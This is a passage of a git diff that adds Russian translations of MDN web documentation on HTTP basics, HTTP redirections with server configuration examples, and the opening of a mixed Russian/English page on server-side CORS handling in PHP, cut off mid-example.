+<p>Сервер не обязательно расположен на одной машине, и наоборот - несколько серверов могут быть расположены (хоститься) на одной и той же машине. В соответствии с версией HTTP/1.1 и имея {{HTTPHeader("Host")}} заголовок, они даже могут делить тот же самый IP-адрес.</p>
+
+<h3 id="Прокси">Прокси</h3>
+
+<p>Между веб-браузером и сервером находятся большое количество сетевых узлов передающих HTTP сообщения. Из за слоистой структуры, большинство из них оперируют также на транспортном сетевом  или физическом уровнях, становясь прозрачным на HTTP слое и потенциально снижая производительность. Эти операции на уровне приложений называются <u><strong>прокси</strong></u>. Они могут быть прозрачными, или нет, (изменяющие запросы не пройдут через них), и способны исполнять множество функций:</p>
+
+<ul>
+ <li>caching (кеш может быть публичным или приватными, как кеш браузера)</li>
+ <li>фильтрация (как сканирование антивируса, родительский контроль, …)</li>
+ <li>выравнивание нагрузки (позволить нескольким серверам обслуживать разные запросы)</li>
+ <li>аутентификация (контролировать доступом к разным ресурсам)</li>
+ <li>протоколирование (разрешение на хранение истории операций)</li>
+</ul>
+
+<h2 id="Основные_аспекты_HTTP">Основные аспекты HTTP</h2>
+
+<h3 id="HTTP_-_прост">HTTP - прост</h3>
+
+<p>Даже с большей сложностью, введенной в HTTP/2 путем инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более легкое тестирование разработчиков и уменьшенную сложность для новых пользователей.</p>
+
+<h3 id="HTTP_-_расширяемый">HTTP - расширяемый</h3>
+
+<p>Введенные в HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки</a> сделали этот протокол легким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.</p>
+
+<h3 id="HTTP_не_имеет_состояния_но_имеет_сессию">HTTP не имеет состояния, но имеет сессию</h3>
+
+<p>HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определенной страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.</p>
+
+<h3 id="HTTP_и_соединения">HTTP и соединения</h3>
+
+<p>Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях,  требуя только <em>надёжность</em>, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространенных транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.</p>
+
+<p>HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: <em>теплые</em> соединения более эффективны, чем <em>холодные</em>.</p>
+
+<p>Для смягчения этих недостатков, HTTP/1.1 предоставил конвеерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок  {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение теплым и более эффективным.</p>
+
+<p>Проводятся эксперименты по разработке лучшего транспортного протокола, более подходящего для HTTP. Например, Google эксперементирует с <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, которая основана на  UDP, для предоставления более надёжного и эффективного транспортного протокола.</p>
+
+<h2 id="Чем_можно_управлять_через_HTTP">Чем можно управлять через HTTP</h2>
+
+<p>Естественная расширяемость HTTP со временем позволила большее управление и функциональность Сети. Кэш и методы аутентификации были ранними функциями в истории HTTP. Способность ослабить первоначальные ограничения, напротив, была добавлена в 2010-е.</p>
+
+<p>Ниже перечислены общие функции, управляемые с HTTP.</p>
+
+<ul>
+ <li><em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">Кэш</a></em><br>
+ Сервер может инструктировать прокси и клиенты: что и как долго кэшировать. Клиент может инструктировать прокси промежуточных кэшей игнорировать хранимые документы.</li>
+ <li><em>Ослабление ограничений источника</em><br>
+ Для предотвращения шпионских и других, нарушающих приватность, вторжений, веб-браузер обчеспечивает строгое разделение между веб-сайтами. Только страницы из<strong> того же источника</strong> могут получить доступ к информации на веб-странице. Хотя такие ограничение нагружают сервер, заголовки HTTP могут ослабить строгое разделение на стороне сервера, позволяя документу стать частью информации с различных доменов (по причинам безопасности).</li>
+ <li><em>Аутентификация</em><br>
+ Некоторые страницы доступны только специальным пользователям. Базовая аутентификация может предоставляться через HTTP, либо через использование заголовка {{HTTPHeader("WWW-Authenticate")}} и подобных ему, либо с помощью настройки спецсессии, используя куки.</li>
+ <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Прокси и тунелирование</a></em><br>
+ Серверы и/или клиенты часто располагаются в интернете, и скрывают свои истинные IP-адреса от других. HTTP запросы идут через прокси для пересечения этого сетевого барьера. Не все прокси -- HTTP прокси. SOCKS-протокол, например, оперирует на более низком уровне. Другие, как, например, ftp, могут быть обработаны этими прокси.</li>
+ <li><em>Сессии</em><br>
+ Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создает сессию,  хотя ядро HTTP -- протокол без состояния.  Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.</li>
+</ul>
+
+<h2 id="HTTP_поток">HTTP поток</h2>
+
+<p>Когда клиент хочет взаимодействовать с сервером, являясь конечным сервером или промежуточным прокси, он выполняет следующие шаги:</p>
+
+<ol>
+ <li>Открытие TCP соединения: TCP-соедиенение будет использоваться для отправки запроса или запросов, и получения ответа. Клиент может открыть новое соединение, переиспользовать существующее, или открыть несколько TCP-соединений к серверу.</li>
+ <li>Отправка HTTP-сообщения: HTTP-собщения (до HTTP/2) -- человеко-читаемо. Начиная с HTTP/2, простые сообщения инкапсилуруются во фреймы, делая невозможным их чтения напрямую, но принципиально остаются такими же.
+ <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>Читает ответ от сервера:
+ <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>Закрывает или переиспользует соединение для дальнейших запросов.</li>
+</ol>
+
+<p>Если активирован HTTP-конвеер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвеер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями.  HTTP-конвеер был заменен в HTTP/2 на более надежные мультиплексивные запросы во фрейме.</p>
+
+<h2 id="HTTP_сообщения">HTTP сообщения</h2>
+
+<p>HTTP/1.1 и более ранние HTTP сообщения человеко-читаемы. В версии HTTP/2 эти сообщения встроены в новую бинарную структуру, фрейм, позволяющий оптимизации, такие как компрессия заголовков и мультиплексирование. Даже если часть оригинального HTTP сообщения отправлена в этой версии HTTP, семантика каждого сообщения не изменяется и клиент воссоздаёт (виртуально) оригинальный HTTP-запрос. Это также полезно для понимания HTTP/2 сообщений в формате HTTP/1.1.</p>
+
+<p>Существует два типа HTTP сообщений, запросы и ответы, каждый в своем формате.</p>
+
+<h3 id="Запросы">Запросы</h3>
+
+<p>Примеры HTTP запросов:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>Запросы содержат следующие элементы:</p>
+
+<ul>
+ <li>HTTP-<a href="/en-US/docs/Web/HTTP/Methods">метод</a>, обычно глагол подобно {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} или существительное, как {{HTTPMethod("OPTIONS")}} или {{HTTPMethod("HEAD")}}, определяющее операцию, которую клиент хочет выполнить. Обычно, клиент хочет получить ресурс (используя <code>GET</code>) или передать значения <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML-формы</a> (используя <code>POST</code>), хотя другие операция могут быть необходимы в других случаях.</li>
+ <li>Путь к ресурсу: URL ресурсы <span id="result_box" lang="ru"><span>лишены элементов, которые очевидны из контекста</span></span>, например без {{glossary("protocol")}} (<code>http://</code>), {{glossary("domain")}} (здесь <code>developer.mozilla.org</code>), или TCP {{glossary("port")}} (здесь <code>80</code>).</li>
+ <li>Версию HTTP-протокола.</li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">Заголовки</a>  (опционально), предоставляюшие дополнительную информацию для сервера.</li>
+ <li>Или тело, для некоторых методов, таких как <code>POST</code>, которое содержит отправленный ресурс.</li>
+</ul>
+
+<h3 id="Ответы">Ответы</h3>
+
+<p>Примеры ответов:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>Ответы содержат следующие элементы:</p>
+
+<ul>
+ <li>Версию HTTP-протокола.</li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">HTTP код состояния</a>, сообщающий об успешности запроса или причине неудачи.</li>
+ <li>Сообщение состояния -- краткое описание кода состояния.</li>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">заголовки</a>, подобно заголовкам в запросах.</li>
+ <li>Опционально: тело, содержащее пересылаемый ресурс.</li>
+</ul>
+
+<h2 id="Вывод">Вывод</h2>
+
+<p>HTTP -- легкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.</p>
+
+<p>Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионый поток остается простым, позволяя исследовать и отлаживать с простым <a href="/en-US/docs/Tools/Network_Monitor">монитором HTTP-сообщений</a>.</p>
diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html
new file mode 100644
index 0000000000..8a9c509b06
--- /dev/null
+++ b/files/ru/web/http/redirections/index.html
@@ -0,0 +1,260 @@
+---
+title: Перенаправления в HTTP
+slug: Web/HTTP/Redirections
+tags:
+ - HTTP
+ - Начинающий
+ - Руководство
+translation_of: Web/HTTP/Redirections
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">URL перенаправление (redirecting), также известное как URL пересылка (forwarding), это метод представления страницы, формы или целого веб-приложения, более чем одним  URL  адресом. HTTP предоставляет специальный вид ответов, <em><strong>HTTP redirect</strong></em>, для выполнения этой операции, используемой для многих целей: временного перенаправления, пока выполняется обслуживание сайта, постоянное перенаправление, для сохранения работоспособности внешних ссылок, после смены архитектуры сайта, страниц прогресса, пока загружается файл, и так далее.</p>
+
+<h2 id="Принцип_работы">Принцип работы</h2>
+
+<p>В HTTP, перенаправление вызывается при отправке сервером специального ответа на запрос: redirects. HTTP перенаправление, это ответы с кодом статуса<code>3xx</code>. Когда браузер получает ответ перенаправления, он использует новый предоставленный URL-адрес и немедленно загружает его: в большинстве случаев переадресация невидима для пользователя, за исключением небольшого влияния производительность.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p>
+
+<p>Есть несколько типов перенаправлений и делятся на три категории: постоянные, временные и специальные перенаправления.</p>
+
+<h3 id="Постоянные_перенаправления">Постоянные перенаправления</h3>
+
+<p>Эти перенаправления призваны длиться вечно. Они подразумевают, что оригинальный URL-адрес больше не должен использоваться, а вместо него должен быть использован новый. Поисковые роботы запускают обновление связанного URL-адреса для ресурса в своих индексах.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Код</th>
+ <th scope="col">Текст</th>
+ <th scope="col">Обработка метода</th>
+ <th scope="col">Случаи использования</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>301</code></td>
+ <td><code>Moved Permanently</code></td>
+ <td>{{HTTPMethod("GET")}} методы неизменны.<br>
+ Другие методы могут быть превращены в {{HTTPMethod("GET")}}.<sup><a href="#attr1">[1]</a></sup></td>
+ <td>Реорганизация веб-сайта.</td>
+ </tr>
+ <tr>
+ <td><code>308</code></td>
+ <td><code>Permanent Redirect</code></td>
+ <td>Метод и тело запроса  неизменны.</td>
+ <td>Реорганизация веб-сайта, с не-GET ссылками/операциями.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="attr1" name="attr1"></a>[1] Спецификация не была намерена разрешать изменение метода, но на практике, клиентские приложения делают это. Код <code>308</code> был создан чтобы избавиться от неоднозначности в поведении, при использовании не-<code>GET</code> методов.</p>
+
+<h3 id="Временные_перенаправления">Временные перенаправления</h3>
+
+<p>Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определенного места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Код</th>
+ <th scope="col">Текст</th>
+ <th scope="col">Обработка метода</th>
+ <th scope="col">Случаи использования</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>302</code></td>
+ <td><code>Found</code></td>
+ <td>{{HTTPMethod("GET")}} методы неизменны.<br>
+ Другие методы <u>могут</u>  быть превращены в {{HTTPMethod("GET")}}.<sup><a href="#attr2">[2]</a></sup></td>
+ <td>Веб-страница недоступна по непредвиденым причинам. В этом случае поисковые роботы не будут обновлять свои ссылки.</td>
+ </tr>
+ <tr>
+ <td><code>303</code></td>
+ <td><code>See Other</code></td>
+ <td>{{HTTPMethod("GET")}} методы неизменны.<br>
+ Другие превращены в <code>GET</code> (тело запроса теряется).</td>
+ <td>Используется для перенаправления после {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}} для предотвращения обновления страницы, что может спровоцировать повторный вызов операции.</td>
+ </tr>
+ <tr>
+ <td><code>307</code></td>
+ <td><code>Temporary Redirect</code></td>
+ <td>Метод и тело запроса  неизменны.</td>
+ <td>Веб-страница недоступна по непредвиденным причинам. В этом случае поисковые роботы не будут обновлять свои ссылки. Лучше чем код <code>302</code> когда не-GET ссылки/операции доступны на сайте.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="attr2" name="attr2"></a>[2] Спецификация не была намерена разрешать изменение метода, но на практике, клиентские приложения делают это. Код <code>307</code> был создан чтобы избавиться от неоднозначности в поведении, при использовании не-<code>GET</code> методов.</p>
+
+<h3 id="Специальные_перенаправления">Специальные перенаправления</h3>
+
+<p>В добавок к обычным перенаправлениям, есть 2 специальные.  Перенаправление с кодом {{HTTPStatus("304")}} (Not Modified) перенаправляет страницу к локальной закешированной копии (которая была устаревшей), и перенаправление с кодом {{HTTPStatus("300")}} (Multiple Choice) это ручное перенаправление: тело, представленное браузером, как веб-страница, перечисляет возможные перенаправления и пользователь выбирает одно из них.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Код</th>
+ <th scope="col">Текст</th>
+ <th scope="col">Случаи использования</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>300</code></td>
+ <td><code>Multiple Choice</code></td>
+ <td>Не так много: варианты перечислены на HTML странице. Может быть обслужен со статусом {{HTTPStatus("200")}} <code>OK</code>.</td>
+ </tr>
+ <tr>
+ <td><code>304</code></td>
+ <td><code>Not Modified</code></td>
+ <td>Обновление кеша: означает, что значение кеша все еще актуально и может быть использовано.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Альтернативные_способы_указания_перенаправлений">Альтернативные способы указания перенаправлений</h2>
+
+<p>HTTP перенаправления это не единственный способ переадресации. Есть еще два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p>
+
+<h3 id="HTML_перенаправления">HTML перенаправления</h3>
+
+<p>HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его.  Для таких особых случаев, разработчики могут создать HTML страницу с элементом  {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение <code>refresh</code> в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдет этот элемент и перейдет на указанную страницу.</p>
+
+<pre class="brush: html">&lt;head&gt;
+ &lt;meta http-equiv="refresh" content="0; URL=http://www.example.com/" /&gt;
+&lt;/head&gt;
+</pre>
+
+<p>Атрибут {{htmlattrxref("content")}} начинается с числа, которое означает, сколько секунд браузер должен ждать, прежде чем перейти по данной ссылке. Всегда устанавливайте 0, для лучшей доступности.</p>
+
+<p>Очевидно, этот метод работает только с HTML страницами и не может использоваться для изображений или другого типа контента.</p>
+
+<div class="note">
+<p><strong>Заметьте</strong>, что перенаправления не позволяют работать должным образом кнопке "Назад" в браузере: вы можете вернуться на страницу назад, но мгновенно будете перенаправлены на страницу с которой пришли.</p>
+</div>
+
+<h3 id="JavaScript_перенаправления">JavaScript перенаправления</h3>
+
+<p>Перенаправления в JavaScript создаются установкой значения свойства {{domxref("window.location")}} и новая страница загрузиться.</p>
+
+<pre class="brush: js">window.location = "http://www.example.com/";</pre>
+
+<p>Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определенное условие.</p>
+
+<h3 id="Приоритетность">Приоритетность</h3>
+
+<p>При использовании трех возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применен первым? Порядок приоритетов следующий:</p>
+
+<ol>
+ <li>HTTP перенаправления всегда выполняются первыми, пока еще страница даже не была передана,  и конечно же, пока еще не прочитана.</li>
+ <li>HTML перенаправления ({{HTMLElement("meta")}}) выполняються только, если перенаправление не было в выполнено в HTTP.</li>
+ <li>JavaScript перенаправления используются как последняя возможность перенаправления, и работают только если разрешено выполнение JavaScript на клиентской стороне.</li>
+</ol>
+
+<p>Используйте HTTP перенаправления, когда это возможно, и не используйте элемент {{HTMLElement("meta")}}. Если разработчик изменяет HTTP перенаправление и забывает изменить HTML перенаправление , тогда они больше не идентичны, и закончится это вечным циклом или другим ночным кошмаром.</p>
+
+<h2 id="Случаи_использования">Случаи использования</h2>
+
+<p>Есть много случаев для использования перенаправлений, но поскольку они влияют на производительность, то должны использоваться как можно реже.</p>
+
+<h3 id="Связывание_доменов">Связывание доменов</h3>
+
+<p>В идеале, есть только одно место, и следовательно один URL адрес, для одного ресурса. Но, есть несколько причин, чтобы иметь альтернативные имена для ресурса (несколько доменов, как с, так и без префикса <em>www </em>или более короткие и лёгкие для запоминания адреса, …). В этих случаях, использовать перенаправление к одному истинному URL адресу, более подходящий вариант, чем дублировать ресурс.</p>
+
+<p>Связывание доменов может быть необходимым по нескольким причинам:</p>
+
+<ul>
+ <li>Расширение вашего сайта. Распространенный случай, когда ваш сайт находится под доменом <code>www.example.com</code> , а доступ к страницам должен быть возможным также из <code>example.com</code> . В этом случае создаются перенаправления для  страниц из <code>example.com</code> к страницам <code>www.example.com</code>. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.</li>
+ <li>Переезд на другой домен. К примеру, ваша компания была переименована и вы хотите чтобы люди которые обычно использовали старый сайт компании находили вас под новым именем.</li>
+ <li>Принужденный HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.</li>
+</ul>
+
+<h3 id="Сохранения_ссылок_рабочими">Сохранения ссылок рабочими</h3>
+
+<p>Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имен, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.</p>
+
+<div class="note">
+<p>Не смотря на то, что данный метод работает также для внутренних ссылок, вы должны избегать внутренних перенаправлений. Перенаправления имеют большое влияние на производительность, и если вы имеете возможность избежать их, корректируя внутренние ссылки, тогда делайте так.</p>
+</div>
+
+<h3 id="Временные_ответы_для_небезопасных_запросов">Временные ответы для небезопасных запросов</h3>
+
+<p>{{Glossary("safe", "Небезопасные")}} запросы изменяют состояние сервера и пользователь не должен не нарочно запросить их.  Обычно, вы не хотите чтобы ваши пользователи повторно отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} или {{HTTPMethod("DELETE")}} запросы. Если вы только обслуживаете запросы, простое нажатие кнопки перезагрузки повторно отправит запрос. </p>
+
+<p>В этом случае, сервер вернет ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.</p>
+
+<h3 id="Временные_ответы_на_долгие_запросы">Временные ответы на долгие запросы</h3>
+
+<p>Некоторые запросы могут потребовать больше времени сервера, например запрос {{HTTPHeader("DELETE")}}, который срабатывает по расписанию. В этом случае, ответом будет перенаправление {{HTTPStatus("303")}} (Смотреть другие), которое связывает со страницей показывающей, что действие было запланировано, и в результате информирует о процессе или позволяет отменить запрос.</p>
+
+<h2 id="Настройка_перенаправлений_на_распространённых_серверах">Настройка перенаправлений на  распространённых серверах</h2>
+
+<h3 id="Apache">Apache</h3>
+
+<p>Перенаправления могут быть установлены или в настройках сервера, или в каждой директории в файле <code>.htaccess</code>.</p>
+
+<p>У модуля <a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> есть директивы <code>Redirect</code> и <code>Redirect_Match</code> которые, по умолчанию, устанавливают код ответа {{HTTPStatus("302")}}:</p>
+
+<pre>&lt;VirtualHost *:80&gt;
+ ServerName example.com
+ Redirect / http://www.example.com
+&lt;/VirtualHost&gt;
+</pre>
+
+<p>URL <code>http://example.com/</code> будет переенаправлен к <code>http://www.example.com/</code> (но не к <code>http://example.com/other.html</code> )</p>
+
+<p><code>Redirect_Match</code> делает то же, но использует регулярное выражение, чтобы определить множество URL адресов, которые подпадут под эффект:</p>
+
+<pre>RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre>
+
+<p>Все документы в папке <code>images/</code> будут перенаправляться к другому домену.</p>
+
+<p>Если вы не хотите устанавливать временное перенаправление, дополнительный параметр (используйте или код статуса HTTP, или ключевое слово <code>permanent) </code>может использоваться чтобы установить другое перенаправление:</p>
+
+<pre>Redirect permanent / http://www.example.com
+Redirect 301 / http://www.example.com
+</pre>
+
+<p>Также модуль <a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> может использоваться для создания перенаправлений. Они более гибкие, но сложнее в использовании.</p>
+
+<h3 id="Nginx">Nginx</h3>
+
+<p>В Nginx, вы создаете особый серверный блок для контента, который вы хотите перенаправлять:</p>
+
+<pre>server {
+ listen 80;
+ server_name example.com;
+ return 301 $scheme://www.example.com$request_uri;
+}</pre>
+
+<p>Чтобы применить перенаправления к папке или подмножеству страниц, используйте директиву <code>rewrite</code>:</p>
+
+<pre>rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
+</pre>
+
+<h3 id="IIS">IIS</h3>
+
+<p>В IIS, вы используете элемент <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect">&lt;httpRedirect&gt;</a></code> для настройки перенаправлений.</p>
+
+<h2 id="Циклы_перенаправлений">Циклы перенаправлений</h2>
+
+<p>Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счете ни одна страница не будет найдена.</p>
+
+<p>В большинстве случаев это проблема сервера, и если сервер не может обнаружить её, то отправит код статуса {{HTTPStatus("500")}} <code>Internal Server Error</code>. Если вы встретите такую ошибку вскоре после редактирования настроек сервера, то это скорее всего цикл перенаправлений.</p>
+
+<p>В случае, когда сервер не может обнаружить его: цикл перенаправлений может распространиться на несколько серверов, каждый из которых не имеет полной картины происходящего. В этом случае, браузеры покажут сообщение об ошибке. Firefox выведет:</p>
+
+<pre class="bz_comment_text" id="comment_text_0">Firefox has detected that the server is redirecting the request for this address in a way that will never complete.</pre>
+
+<p>тогда, как Chrome:</p>
+
+<pre>This Webpage has a redirect loop</pre>
+
+<p>В обоих случаях, пользователь не может ничего сделать (в отличие от ошибки на стороне клиента, например, несоответствие файлов куки или кеша).</p>
+
+<p>Важно избегать циклов перенаправлений, так как они полностью нарушают работу пользователя.</p>
diff --git a/files/ru/web/http/server-side_access_control/index.html b/files/ru/web/http/server-side_access_control/index.html
new file mode 100644
index 0000000000..fa4deb40bd
--- /dev/null
+++ b/files/ru/web/http/server-side_access_control/index.html
@@ -0,0 +1,212 @@
+---
+title: Server-Side Access Control (CORS)
+slug: Web/HTTP/Server-Side_Access_Control
+translation_of: Web/HTTP/CORS
+---
+<p>Системы контроля доступа производят идентификацию <a href="http://searchsoftwarequality.techtarget.com/definition/authorization">авторизации</a>, <a href="http://searchsecurity.techtarget.com/definition/authentication">аутентификацию</a>, подтверждение доступа и подотчетность сущностей с помощью учетных данных для входа, включая <a href="http://searchsecurity.techtarget.com/definition/password">пароль</a>, личный идентификационный номер (PINs), <a href="http://searchsecurity.techtarget.com/definition/biometrics">биометрическое</a> сканирование и физический или электронный ключ.</p>
+
+<p>Контроль доступа --- это техника безопасности, которую можно использовать для регулирования процессом того, кто или что может видеть или использовать ресурсы в вычислительном окружении.</p>
+
+<p>{{HTTPSidebar}}</p>
+
+<p>Для меж-сайтовых запросов, произведенных с помощью {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, браузеры передают специальные <a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовки</a>. Так же ожидаемо увидеть определенные HTTP заголовки, переданные обратно внутри меж-сайтового ответа. Обзор этих заголовков, включая примеры JavaScript кода, создающего запросы и обрабатывающего ответы от сервера, как и описание каждого из заголовков, <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">может быть найден в статье HTTP Access Control (CORS)</a> и должен быть прочитан вместе с данной. Эта статья покрывает обработку <strong>Запросов контроля доступа</strong> и формулировку <strong>Ответов контроля доступа </strong>в PHP. Целевая аудитория для этой статьи ---  разработчики серверов и администраторы. Хотя примеры кода, приведенные тут, на PHP, подобная концепция применяется в ASP.net, Perl, Python, Java, etc.; в общем, эти концепции могут быть применены в любом сервером окружении, который обрабатывает HTTP запросы и динамически формирует HTTP ответы.</p>
+
+<h2 id="Discussion_of_HTTP_headers">Discussion of HTTP headers</h2>
+
+<p>The article <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">covering the HTTP headers used by both clients and servers is here</a>, and should be considered prerequisite reading.</p>
+
+<h2 id="Working_code_samples">Working code samples</h2>
+
+<p>The PHP snippets (and the JavaScript invocations to the server) in subsequent sections are taken from <a class="external" href="http://arunranga.com/examples/access-control/">the working code samples posted here.</a> These will work in browsers that implement cross-site {{domxref("XMLHttpRequest")}}.</p>
+
+<h2 id="Simple_cross-site_requests">Simple cross-site requests</h2>
+
+<p><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple Access Control Requests</a> are initiated when:</p>
+
+<ul>
+ <li>An HTTP/1.1 {{HTTPMethod("GET")}} or a {{HTTPMethod("POST")}} is used as request method. In the case of a POST, the {{HTTPHeader("Content-Type")}} of the request body is one of <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, or <code>text/plain.</code></li>
+ <li>No custom headers are sent with the HTTP request (such as <code>X-Modified</code>, etc.)</li>
+</ul>
+
+<p>In this case, responses can be sent back based on some considerations.</p>
+
+<ul>
+ <li>If the resource in question is meant to be widely accessed (just like any HTTP resource accessed by GET), then sending back the {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: *</code> header will be sufficient, <strong>unless</strong> the resource needs credentials such as <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> and HTTP Authentication information.</li>
+ <li>If the resource should be kept restricted based on requester domain, <strong>OR</strong> if the resource needs to be accessed with credentials (or sets credentials), then filtering by the request's {{HTTPHeader("Origin")}} header may be necessary, or at least echoing back the requester's <code>Origin</code> (e.g. {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code>).  Additionally, the {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> header will have to be sent. This is discussed in a <a class="internal" href="#Credentialed_Requests">subsequent section</a>.</li>
+</ul>
+
+<p>The section on <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple Access Control Requests</a> shows you the header exchanges between client and server. Here is a PHP code segment that handles a Simple Request:</p>
+
+<pre class="brush: php">&lt;?php
+
+// We'll be granting access to only the arunranga.com domain
+// which we think is safe to access this resource as application/xml
+
+if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+ header('Access-Control-Allow-Origin: http://arunranga.com');
+ header('Content-type: application/xml');
+ readfile('arunerDotNetResource.xml');
+} else {
+ header('Content-Type: text/html');
+ echo "&lt;html&gt;";
+ echo "&lt;head&gt;";
